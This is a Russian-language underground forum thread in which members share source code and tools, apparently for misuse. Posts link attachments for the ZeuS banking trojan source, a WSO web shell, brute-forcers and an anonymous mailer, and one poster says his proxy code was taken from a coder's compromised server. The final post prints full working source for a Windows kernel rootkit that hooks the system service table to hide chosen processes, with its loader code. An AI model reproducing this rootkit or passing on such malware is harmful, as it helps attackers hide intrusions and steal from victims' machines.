Ваши исходники, скрипты и т.п. в этой теме - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

Все инфопродукты и приватная информация бесплатно

Вернуться   Proxy-Base Community - Анонимность и безопасность в интернете. > Программирование, Web-программирование, SOFT, Underground > Программирование

Ответ
 
LinkBack Опции темы Поиск в этой теме Опции просмотра
Старый 13.01.2012, 13:13   #1 (permalink)
***VIP***
Proxy-Base.Org Team
 
Аватар для Dizz
 
Регистрация: 03.05.2009
Сообщений: 1,390
Member ID: 5226
ICQ 100783
Jabber dizz@proxy-base.ru

Репутация: 2863
Репутация: 2863
Сказал(а) спасибо: 827
Поблагодарили 1,525 раз(а) в 396 сообщениях
Топикстартер (автор темы) Сообщение Ваши исходники, скрипты и т.п. в этой теме

Открываем новую тему, в которой будем выкладывать интересные и главное - полезные исходники программ, скриптов, примеров.

Убедительная просьба использовать теги при добавлении исходников, а так же обязательно указывать на чем написан исходник
Dizz вне форума   Ответить с цитированием
6 пользователя(ей) сказали cпасибо:
Старый 13.01.2012, 13:29   #2 (permalink)
SOCKS5
 
Регистрация: 19.06.2009
Сообщений: 270
Member ID: 711

Репутация: 629
Репутация: 629
Сказал(а) спасибо: 106
Поблагодарили 261 раз(а) в 165 сообщениях
По умолчанию Re: Ваши исходники, скрипты и т.п. в этой теме

Полный исходник Ultimate Bruteforce 2.0.2 Final
Написано на Delphi 2010.
Рекомендуется установить последнюю ревизию Indy во избежание проблем после компиляции.
В качестве визуальных компонентов использованы BusinessSkinForm VLC.
Автор программы - Z.Рэйзор

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
Вложения
Тип файла: rar [UBF]FULL SOURCE.rar (802.1 Кб, 49 просмотров)
DRIFT вне форума   Ответить с цитированием
8 пользователя(ей) сказали cпасибо:
Старый 13.01.2012, 14:47   #3 (permalink)
SOCKS5
 
Регистрация: 19.06.2009
Сообщений: 270
Member ID: 711

Репутация: 629
Репутация: 629
Сказал(а) спасибо: 106
Поблагодарили 261 раз(а) в 165 сообщениях
По умолчанию Re: Ваши исходники, скрипты и т.п. в этой теме

ZeuS 2.0.8.9 Full Source

Исходные коды знаменитого трояна. Многим пригодится)
Весь код прокомментирован на русском языке, админка присутствует в комплекте.
P.S. Антивирус ругается на компилированный билдер, это нормально.

Zeus написан на C++

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
DRIFT вне форума   Ответить с цитированием
7 пользователя(ей) сказали cпасибо:
Старый 13.01.2012, 15:04   #4 (permalink)
Suspended
 
Аватар для Kuzia
 
Регистрация: 17.05.2009
Сообщений: 1,702
Member ID: 126
ICQ 296367

Репутация: 1576
Репутация: 1576
Сказал(а) спасибо: 1,214
Поблагодарили 1,337 раз(а) в 798 сообщениях
По умолчанию Re: Ваши исходники, скрипты и т.п. в этой теме

Сорцы проксисервера, давно выкладывал на форуме. Слито с деда какого-то кодера. Там было еще много чего интересного, но доступ мне прикрыли быстро... За сроком давности не буду прикреплять к теме, выложу еще раз:

Написан на: C#

Код:
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.IO;
using System.Threading;

namespace nsProxyServer
{
    public class ProxyServer
    {
        static public void Main (string [] args)
        {
            int Port = 8889;
            if (args.Length > 0)
            {
                try
                {
                    Port = Convert.ToInt32 (args[0]);
                }
                catch
                {
                    Console.WriteLine ("Please enter a port number.");
                    return;
                }
            }
            try
            {
                // Create a listener for the proxy port
                TcpListener sockServer = new TcpListener (Port);
                sockServer.Start ();
                while (true)
                {
                    // Accept connections on the proxy port.
                    Socket socket = sockServer.AcceptSocket ();
                    
                    // When AcceptSocket returns, it means there is a connection. Create
                    // an instance of the proxy server class and start a thread running.
                    clsProxyConnection proxy = new clsProxyConnection (socket);
                    Thread thrd = new Thread (new ThreadStart (proxy.Run));
                    thrd.Start ();
                    // While the thread is running, the main program thread will loop around
                    // and listen for the next connection request.
                }
            }
            catch (IOException e)
            {
                Console.WriteLine (e.Message);
            }
        }
    }

    class clsProxyConnection
    {
        public clsProxyConnection (Socket sockClient)
        {
            m_sockClient = sockClient;
        }
        Socket m_sockClient; //, m_sockServer;
        Byte [] readBuf = new Byte [1024];
        Byte [] buffer = null;
        Encoding ASCII = Encoding.ASCII;

        public void Run ()
        {
            string strFromClient = "";
            try
            {
                // Read the incoming text on the socket/
                int bytes = ReadMessage (m_sockClient,
                                         readBuf, ref strFromClient);
                // If it's empty, it's an error, so just return.
                // This will termiate the thread.
                if (bytes == 0)
                    return;
                // Get the URL for the connection. The client browser sends a GET command
                // followed by a space, then the URL, then and identifer for the HTTP version.
                // Extract the URL as the string betweeen the spaces.
                int index1 = strFromClient.IndexOf (' ');
                int index2 = strFromClient.IndexOf (' ', index1 + 1);
                string strClientConnection =
                      strFromClient.Substring (index1 + 1, index2 - index1);

                if ((index1 < 0) || (index2 < 0))
                {
                    throw (new IOException ());
                }
                // Write a messsage that we are connecting.
                Console.WriteLine ("Connecting to Site " +
                                   strClientConnection);
                Console.WriteLine ("Connection from " +
                                   m_sockClient.RemoteEndPoint);
                // Create a WebRequest object.
                WebRequest req = (WebRequest) WebRequest.Create
                                                     (strClientConnection);
                // Get the response from the Web site.
                WebResponse response = req.GetResponse ();
                int BytesRead = 0;
                Byte [] Buffer = new Byte[32];
                int BytesSent = 0;
                
                // Create a response stream object.
                Stream ResponseStream = response.GetResponseStream();
                
                // Read the response into a buffer.
                BytesRead = ResponseStream.Read(Buffer,0,32);
                StringBuilder strResponse = new StringBuilder("");
                while (BytesRead != 0)
                {
                    // Pass the response back to the client
                    strResponse.Append(Encoding.ASCII.GetString(Buffer,
                                        0, BytesRead));
                    m_sockClient.Send(Buffer, BytesRead, 0);
                    BytesSent += BytesRead;
                    // Read the next part of the response
                    BytesRead = ResponseStream.Read(Buffer, 0, 32);
                }
            }
            catch (FileNotFoundException e)
            {
                SendErrorPage (404, "File Not Found", e.Message);
            }
            catch (IOException e)
            {
                SendErrorPage (503, "Service not available", e.Message);
            }
            catch (Exception e)
            {
                  SendErrorPage (404, "File Not Found", e.Message);
                  Console.WriteLine (e.StackTrace);
                  Console.WriteLine (e.Message);
            }
            finally
            {
                // Disconnect and close the socket.
                if (m_sockClient != null)
                {
                    if (m_sockClient.Connected)
                    {
                        m_sockClient.Close ();
                    }
                }
            }
            // Returning from this method will terminate the thread.
        }
        // Write an error response to the client.
        void SendErrorPage (int status, string strReason, string strText)
        {
            SendMessage (m_sockClient, "HTTP/1.0" + " " +
                         status + " " + strReason + "\r\n");
            SendMessage (m_sockClient, "Content-Type: text/plain" + "\r\n");
            SendMessage (m_sockClient, "Proxy-Connection: close" + "\r\n");
            SendMessage (m_sockClient, "\r\n");
            SendMessage (m_sockClient, status + " " + strReason);
            SendMessage (m_sockClient, strText);
        }
        
        // Send a string to a socket.
        void SendMessage (Socket sock, string strMessage)
        {
            buffer = new Byte [strMessage.Length + 1];
            int len = ASCII.GetBytes (strMessage.ToCharArray(),
                                      0, strMessage.Length, buffer, 0);
            sock.Send (buffer, len, 0);
        }
        
        // Read a string from a socket.
        int ReadMessage (Socket sock, byte [] buf, ref string strMessage)
        {
            int iBytes = sock.Receive (buf, 1024, 0);
            strMessage = Encoding.ASCII.GetString (buf);
            return (iBytes);
        }
    }
}
__________________
[SIGPIC][/SIGPIC]
Теперь на WordPress!

Не отвечаю на глупые вопросы в лс и icq. Если вы мне пишите, соблюдайте хотя бы элементарные правила хорошего тона.

Ваше право на собственное мнение вовсе не обязывает меня слушать бред!

Последний раз редактировалось Kuzia; 13.01.2012 в 16:12.
Kuzia вне форума   Ответить с цитированием
6 пользователя(ей) сказали cпасибо:
Старый 30.07.2012, 03:34   #5 (permalink)
Злой
 
Аватар для Quade
 
Регистрация: 07.10.2010
Сообщений: 116
Member ID: 9624
ICQ 366363

Репутация: 156
Репутация: 156
Сказал(а) спасибо: 301
Поблагодарили 142 раз(а) в 94 сообщениях
Хорошо Mini Bruteforce MD5. Брут MD5 на Delphi

Mini Bruteforce MD5.

Код:
http://cs304306.userapi.com/v304306780/1a1d/cmI5AaeUQws.jpg

Код:
http://cs304306.userapi.com/v304306780/1a24/j-vFKtii4NY.jpg

  • Брутит по словарю. В папке md5.txt
  • Средняя скорость = 500-1000PPS.
  • Программа не виснет. Отдельный поток. [ thanks to impulse ]
  • Показывает остаток перебора. Не пропускает GOOD.
  • OpenSource. Delphi 2007.
  • Не стоит создавать словари более 1-2миллиона записей.
  • Брутит только 1хеш.
(c) b0nanza aka quade
Вложения
Тип файла: zip Mini_Brute_MD5.zip (223.5 Кб, 5 просмотров)
Тип файла: zip source_brute_md5.zip (250.0 Кб, 8 просмотров)
__________________
Quade вне форума   Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
Старый 18.09.2012, 12:02   #6 (permalink)
Electro Style (:
 
Аватар для Rastayan
 
Регистрация: 27.01.2010
Сообщений: 233
Member ID: 6155

Репутация: 550
Репутация: 550
Сказал(а) спасибо: 211
Поблагодарили 280 раз(а) в 152 сообщениях
По умолчанию WSO 2.5

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
Вложения
Тип файла: rar WSO 2.5.rar (15.2 Кб, 16 просмотров)

Последний раз редактировалось Rastayan; 18.09.2012 в 17:13.
Rastayan вне форума   Ответить с цитированием
5 пользователя(ей) сказали cпасибо:
Старый 28.09.2012, 14:14   #7 (permalink)
Electro Style (:
 
Аватар для Rastayan
 
Регистрация: 27.01.2010
Сообщений: 233
Member ID: 6155

Репутация: 550
Репутация: 550
Сказал(а) спасибо: 211
Поблагодарили 280 раз(а) в 152 сообщениях
По умолчанию Re: отправки анонимной почты

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
Вложения
Тип файла: rar Builder MailSender + YourIp.rar (381.3 Кб, 11 просмотров)

Последний раз редактировалось Rastayan; 09.10.2012 в 09:16.
Rastayan вне форума   Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Старый 10.10.2012, 14:32   #8 (permalink)
HTTP
 
Регистрация: 24.01.2012
Сообщений: 9
Member ID: 23509

Репутация: 15
Репутация: 15
Сказал(а) спасибо: 4
Поблагодарили 5 раз(а) в 3 сообщениях
По умолчанию Re: Ваши исходники, скрипты и т.п. в этой теме

Цитата:
Сообщение от DRIFT Посмотреть сообщение
ZeuS 2.0.8.9 Full Source

Исходные коды знаменитого трояна. Многим пригодится)
Весь код прокомментирован на русском языке, админка присутствует в комплекте.
P.S. Антивирус ругается на компилированный билдер, это нормально.

Zeus написан на C++

*** скрытый текст ***
Перезалейте пожалуйста.

Добавлено через 10 минут 59 секунд

http://rutracker.org/forum/viewtopic.php?t=3569767
cc-den вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 02.01.2013, 15:27   #9 (permalink)
HTTP
 
Регистрация: 05.05.2010
Сообщений: 5
Member ID: 7716

Репутация: 12
Репутация: 12
Сказал(а) спасибо: 0
Поблагодарили 4 раз(а) в 3 сообщениях
По умолчанию Re: Ваши исходники, скрипты и т.п. в этой теме

Сокрытие процесса на уровне ядра при помощи драйвера хукающего SDT.
Язык C++;

Код:
#include <ntddk.h>
#include "driver.h"

//получаем указатель на таблицу системных сервисов
//KeServiceDescriptorTable, экспортирует указатель на таблицу
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

//обьявляем истинную функцию
NtTrueQuerySystemInformation RealNtQuerySystemInformation; 

//объявляем переменные для символической связи
UNICODE_STRING DeviceName;
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject = NULL;

//переменная, содержащая номер системного вызова
ULONG QuerySystemInformationId;

wchar_t * Data;	//содержит данные поступившие от приложения
			//а именно список, скрываемых процессов
ULONG LengthData = 0; //длина данных


//эта процедура вызывается при выгрузке драйвера
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) {
	
	//возвращаем перехват на место
	NTCALL(QuerySystemInformationId) = RealNtQuerySystemInformation;

	IoDeleteSymbolicLink(&SymbolicLinkName); // удаляем символическую ссылку
    	IoDeleteDevice(deviceObject);                // удаляем устройство 
	ExFreePool(Data);             // освобождаем память

	return;
}

//эта процедура вызывается при загрузке драйвера
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {

	NTSTATUS st;
	PCWSTR   dDeviceName = L"\\Device\\hide_proc";	//имя устройсва
	PCWSTR   dSymbolicLinkName = L"\\DosDevices\\hide_proc"; //имя устройсва дос
	PDRIVER_DISPATCH *ppdd;

	//конвертируем в UNICODE_STRING
    	RtlInitUnicodeString(&DeviceName, dDeviceName);
    	RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);

	//создаем устройство
	st = IoCreateDevice(DriverObject,       // указатель на DriverObject
                        0,                  // размер памяти (device extension)
                        &DeviceName,        // имя создаваемого устройства
                        FILE_DEVICE_NULL,   // тип создаваемого устройства
                        0,                  // характеристики устройства
                        FALSE,              // "эксклюзивное" устройство
                        &deviceObject);     // указатель на объект устройства 

	//устанавливаем буферизованный Ввод/Вывод
	deviceObject->Flags = DO_BUFFERED_IO;

	//создаем символическую связь
	if (st == STATUS_SUCCESS) st = IoCreateSymbolicLink(&SymbolicLinkName, // имя создаваемой символической ссылки
                             &DeviceName);      // имя устройства

	LengthData = 0;

	//номер системного сервиса для функции NtQuerySystemInformation в WinXP 
	QuerySystemInformationId = 0x00AD;

	//сохраняем истинный адрес функции NtQuerySystemInformation
	RealNtQuerySystemInformation = NTCALL(QuerySystemInformationId);
	
	//устанавливаем адрес функции, обрабатывающей перехват
	NTCALL(QuerySystemInformationId) = HookNtQuerySystemInformation;

	ppdd = DriverObject->MajorFunction;         // обьявляем процедуры обработки ввода-вывода
    	ppdd[IRP_MJ_CREATE] =
    	ppdd[IRP_MJ_CLOSE] =
	ppdd[IRP_MJ_READ] = DriverRead_Write;
    	ppdd[IRP_MJ_WRITE] = DriverRead_Write;

	DriverObject->DriverUnload = DriverUnload;

    return STATUS_SUCCESS;
}



///функция перехвата NtQuerySystemInformation
NTSTATUS HookNtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS  
	SystemInformationClass,	
	IN OUT PVOID  SystemInformation, 
	IN ULONG  SystemInformationLength, 
	OUT PULONG  ReturnLength ) {

	PSYSTEM_PROCESS_INFORMATION Info_Last, Info;  //информация о текущих процессах
	NTSTATUS ns;
	wchar_t * begin_data = Data;

	//вызываем реальную функцию для получения информации о процессах
	ns = RealNtQuerySystemInformation(SystemInformationClass,
		SystemInformation,
		SystemInformationLength, 
		ReturnLength);

	//SystemInformationClass содержит значение, указывающее на то, какая
	//информация будет предана в SystemInformation
	//если в этой переменной значение SystemProcessInformation (5), то 
	//передается информация о процессах

	if (SystemInformationClass == SystemProcessInformation) {
		
		if(SystemInformationLength > 20000) {
            	Info = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
			//теперь Info указывает на информацию о текущих процессах
			//в цикле проходим по процессам в поисках нужного нам			
            	for(;;) {
				Info_Last = Info; //запоминаем текущий процесс
				//и переходим к следущему
				Info = (SYSTEM_PROCESS_INFORMATION *)((PBYTE)Info + Info->NextOffest);
				// если процесс последний, то выходим из цикла
				if(Info->NextOffest == 0) break;
				// если есть данные от приложения 
				if (LengthData > 0) {
					//проходим по списку процессов, которые необходимо
					//скрыть
					while (*Data) {
						//сверяем текущий, со скрываемым
						if (wcscmp(Info->pModuleName, Data) == 0) {
							//если найден, то просто увеличиваем
							//смещение, т.е. перепрыгиваем не
							//нужный нам процесс
							Info_Last->NextOffest += Info->NextOffest;
							//переходим к следующему процессу
							Info = (SYSTEM_PROCESS_INFORMATION*)((PBYTE)Info + Info->NextOffest);
							//выходим из цикла
							break;
						}
						//переходим к следующему процессу в списке 
						//Data
						Data += wcslen(Data) + 1;
					}
					//устанавливаем начало списка
					Data = begin_data;
				}
            
			}
        	}
		
		return ns;

	} else return ns;
}

//функция, которая принимает и отправляет данные от приложиению
NTSTATUS DriverRead_Write( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
	PIO_STACK_LOCATION pisl; 
	NTSTATUS           ns = STATUS_SUCCESS;
	
	//для обмена данными с приложением (другими драйверами) используются
	//пакеты IRP
	//получаем текущий IRP
    	pisl = IoGetCurrentIrpStackLocation(Irp);

	//в зависимости от Ввода/Вывода осуществляем
	if ( pisl->MajorFunction == IRP_MJ_WRITE) {
		//если данные были переданы ранее, то освобождаем память
		if (LengthData > 0) ExFreePool(Data);
		//получаем длину, переданного буфера
		LengthData = pisl->Parameters.Write.Length;
		//выделяем память
		Data = ExAllocatePool(PagedPool, LengthData);
		
		RtlZeroMemory(Data, LengthData);	//зануляем
		//копируем в Data полученные данные
		RtlCopyMemory(Data, Irp->AssociatedIrp.SystemBuffer, LengthData);
		Irp->IoStatus.Information = 0;
	} else if (pisl->MajorFunction == IRP_MJ_READ) {
		//получаем длину буфера, в который будут переданы данные
		ULONG ReadLength = pisl->Parameters.Read.Length;
		if (LengthData > 0) {
			//если, есть данные которые нужно передать,
			//копируем их в приемный буфер
			RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, Data, ReadLength);
			//количество переданных байт
			Irp->IoStatus.Information = ReadLength;
		} else Irp->IoStatus.Information = 0;
	}

    
    Irp->IoStatus.Status = ns;
    //передаем IRP
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return ns;
}



Заголовочный файл “driver.h”

typedef PVOID * PNTPROC;
typedef DWORD (ULONG);
typedef DWORD * PDWORD;
typedef unsigned char * PBYTE;

typedef struct _FILETIME {
    ULONG dwLowDateTime;
    ULONG dwHighDateTime;
} FILETIME, *PFILETIME, *LPFILETIME;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_THREAD_INFORMATION { 
	FILETIME ProcessorTime; 
	ULONG unk2, unk3; 
	FILETIME CreateTime; 
	ULONG unk6; 
	ULONG StartAddress; 
	ULONG ProcessID; 
	ULONG ThreadID; 
	ULONG CurrentPriority; 
	ULONG BasePriority; 
	ULONG ContextSwitchesPerSec; 
	ULONG ThreadState; 
	ULONG ThreadWaitReason; 
	ULONG unk15; 
} SYSTEM_THREAD_INFORMATION;

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextOffest; // следующий процесс
    ULONG ThreadCount;
    ULONG unk2, unk3, unk4, unk5, unk6, unk7;
    FILETIME CreateTime;
    FILETIME UserTime;
    FILETIME KernelTime;
    ULONG unk14;
    WCHAR *pModuleName; /* unicode */
    ULONG BasePriority;
    ULONG ProcessID;
    ULONG InheritedFromUniqueProcessID; 
    ULONG HandleCount;
    ULONG unk20, unk21;
    ULONG PeekVirtualSize;
    ULONG VirtualSize;
    ULONG PageFaultCountPerSec;
    ULONG PeakWorkingSetSize;
    ULONG WorkingSetSize;
    ULONG PeekPagedPoolUsage; 
    ULONG PagedPoolUsage;
    ULONG PeekNonPagedPoolUsage; 
    ULONG NonPagedPoolUsage;
    ULONG unk31; /* PagefileUsage ? */
    ULONG PeakPagefileUsage;
    ULONG unk33; /* PrivateBytes ? */
    SYSTEM_THREAD_INFORMATION ThreadInfos[1]; // потоки данного процесса
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;


typedef struct _SYSTEM_SERVICE_TABLE {
	PNTPROC ServiceTable; 
    PDWORD  CounterTable; 
    ULONG   ServiceLimit; 
    PBYTE   ArgumentTable; 
}
SYSTEM_SERVICE_TABLE ,
* PSYSTEM_SERVICE_TABLE ,
* * PPSYSTEM_SERVICE_TABLE ;


typedef struct _SERVICE_DESCRIPTOR_TABLE {
   SYSTEM_SERVICE_TABLE ntoskrnl;  //SST для ntoskrnl.exe
   SYSTEM_SERVICE_TABLE win32k;    //SST для win32k.sys
   SYSTEM_SERVICE_TABLE unused1;   //не используется
   SYSTEM_SERVICE_TABLE unused2;   //не используется
}
SERVICE_DESCRIPTOR_TABLE ,
* PSERVICE_DESCRIPTOR_TABLE,
* * PPSERVICE_DESCRIPTOR_TABLE ;

#define NTCALL(_function) KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function]

//прототип реальной функции NtQuerySystemInformation
typedef NTSTATUS (*NtTrueQuerySystemInformation) (
		IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
		IN OUT PVOID  SystemInformation, 
		IN ULONG  SystemInformationLength, 
		OUT PULONG  ReturnLength OPTIONAL 
								);

NTSTATUS DriverRead_Write( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);

NTSTATUS HookNtQuerySystemInformation(
		IN SYSTEM_INFORMATION_CLASS  SystemInformationClass, 
		IN OUT PVOID  SystemInformation, 
		IN ULONG  SystemInformationLength, 
		OUT PULONG  ReturnLength );
     
     
     
     Собственно с драйвером законченно, можно компилить
     \hide_proc\>build –cZ
     
     
     Приложение
     Подробно представлять весь код приложения, осуществляющего 
взаимодействие с драйвером, не буду. Рассмотрим, только основные аспекты.
     При начальной загрузке приложения, осуществляется установка 
и запуск драйвера, а также чтение из драйвера списка уже скрытых процессов.
     Далее, список скрытых процессов можно обновлять и передавать драйверу драйверу.

     Установка и запуск драйвера:
...........

#include <Winsvc.h>

...........
     //процедура создании, либо открытия драйвера, средсвами SCM
SC_HANDLE InitSC (wchar_t * lpszBinaryPathName) {
	
	SC_HANDLE SC_Men, SC_Serv;
	wchar_t * lpszName = new wchar_t[MAX_PATH];
	DWORD TagId = 0;
	DWORD lenPath = (DWORD)wcslen(lpszBinaryPathName);
	
	ZeroMemory(lpszName, MAX_PATH);
	
	//извлекаем из всего пути имя драйвера
	while (lenPath--) {
		if (*(lpszBinaryPathName + lenPath) == '\\') {
			wcscpy(lpszName, lpszBinaryPathName + lenPath + 1);
			*(lpszName + wcslen(lpszName) - 4) = 0;
			break;
		}
	}
	
	//открываем сервис
	if ( (SC_Men = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)) == NULL) return 0;

	//регистрируем драйвер
	if ( (SC_Serv = CreateService(SC_Men, lpszName, lpszName, SERVICE_ALL_ACCESS,
			SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
			lpszBinaryPathName, NULL, NULL, NULL,
			NULL, NULL)) == NULL) {
		DWORD err = GetLastError();

		//если уже существует, то открываем
		if (err == ERROR_SERVICE_EXISTS) {
			if ( (SC_Serv = OpenService(SC_Men, lpszName, SERVICE_ALL_ACCESS)) == NULL) return 0;

		} else return 0;

	
	}

	return SC_Serv;
}

...........

	SC_Serv = InitSC(lpszBinaryPathName);
	StartService(SC_Serv, 0, NULL);	//запускаем драйвер
	DeleteService(SC_Serv);		//удаляем драйвер. Делается для того, чтобы
						//после перезагрузки, драйвер не был
						//зарегистрирован в системе

	//открываем устройство-драйвер
	hDriver = CreateFile(L"\\\\.\\hide_proc", GENERIC_READ, 0, NULL,
		OPEN_EXISTING, 0, 0);
	
	if (hDriver == INVALID_HANDLE_VALUE) {
		MessageBox(L"Can not open driver");
		ExitProcess(0);
	}
	
	//читаем данные
	ReadFile(hDriver, buf, 1024, &dw, NULL);
	
	//если данные есть, то заносим список в ЛистБокс
	while (*buf) {
		lstHideProsesses->AddString(buf);
		buf += wcslen(buf) + 1;
	}
...........

//отправка драйверу списка
	
	//читаем из ListBox’a и формируем список для отправки драйверу
	for (i = 0; i < num; i++) {
		lstHideProsesses->GetText(i, tmp);
		wcscat(lstProcesses, tmp);
		lstProcesses += wcslen(lstProcesses) + 1;		
	}

	//если добавлен новый процесс для скрытия, то добавляем его к списку
	lenbuf = Output->GetWindowTextLength();
	if (lenbuf > 0) {
		lenbuf += 1;
		buf = new wchar_t[lenbuf];
		Output->GetWindowText(buf, lenbuf);
		if (lstHideProsesses->FindString(0, buf) == LB_ERR) {
			wcscat(lstProcesses, buf);
			lstHideProsesses->AddString(buf);
		}
		delete buf;
	}

	lstProcesses = ptr;

	hDriver = CreateFile(L"\\\\.\\hide_proc", GENERIC_WRITE, 0, NULL,
		OPEN_EXISTING, 0, 0);
	if (hDriver == INVALID_HANDLE_VALUE) {
		MessageBox(L"Can not open driver");
		ExitProcess(0);
	}

	WriteFile(hDriver, lstProcesses, LEN*2, &dw, NULL);

...........

     Для того чтобы удалить процесс из списка невидимости, просто 
удаляем его из lstHideProsesses, формируем новый lstProcesses 
и передаем его драйверу.

© antiuser (bp-team.com)				04.12.06
239Pu вне форума   Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Ответ

Метки
source code, исходники, скрипты

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Парсеры, грабберы и др. скрипты на php на заказ bathed Услуги | Сервисы 1 18.12.2010 11:32
Скрипты для Контакта Serg911 Флейм 2 19.04.2010 10:53
Исходники и утилиты by Jaw Jaw Программирование 4 06.01.2010 13:27




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.